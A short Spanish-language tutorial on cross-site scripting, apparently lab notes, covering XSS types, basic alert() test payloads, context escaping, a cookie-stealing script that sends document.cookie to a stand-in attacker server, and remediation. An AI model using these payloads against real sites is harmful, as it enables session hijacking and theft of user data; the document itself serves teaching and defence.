XSS (Cross-Site Scripting)
con laboratorio
Qué es
La web muestra lo que yo escribo sin limpiarlo, así que puedo meter JavaScript y se ejecuta en el navegador de quien vea la página. Con eso se pueden robar cookies, hacer acciones en nombre de la víctima o cambiar lo que ve.
Tipos
| Tipo | Dónde se queda mi código |
|---|---|
| Reflejado | En la propia petición (un enlace que envío a la víctima) |
| Almacenado | Guardado en la web (un comentario) y lo ve todo el mundo |
| Basado en DOM | Lo ejecuta el JavaScript de la página, sin pasar por el servidor |
Prueba básica
html
<script>alert(1)</script>
<img src=x onerror=alert(1)>Si no salta, hay que mirar en el código fuente en qué contexto aparece mi texto (dentro de HTML, de un atributo, de una cadena JavaScript) y escapar de él: cerrar la comilla o la etiqueta antes.
Robo de cookies (ejemplo)
html
<script>fetch('https://mi-servidor/?c='+document.cookie)</script>Cómo se arregla
- Codificar la salida según el contexto (HTML, atributo, JS).
- Cookies con
HttpOnlyySameSite. - Cabecera
Content-Security-Policyestricta.
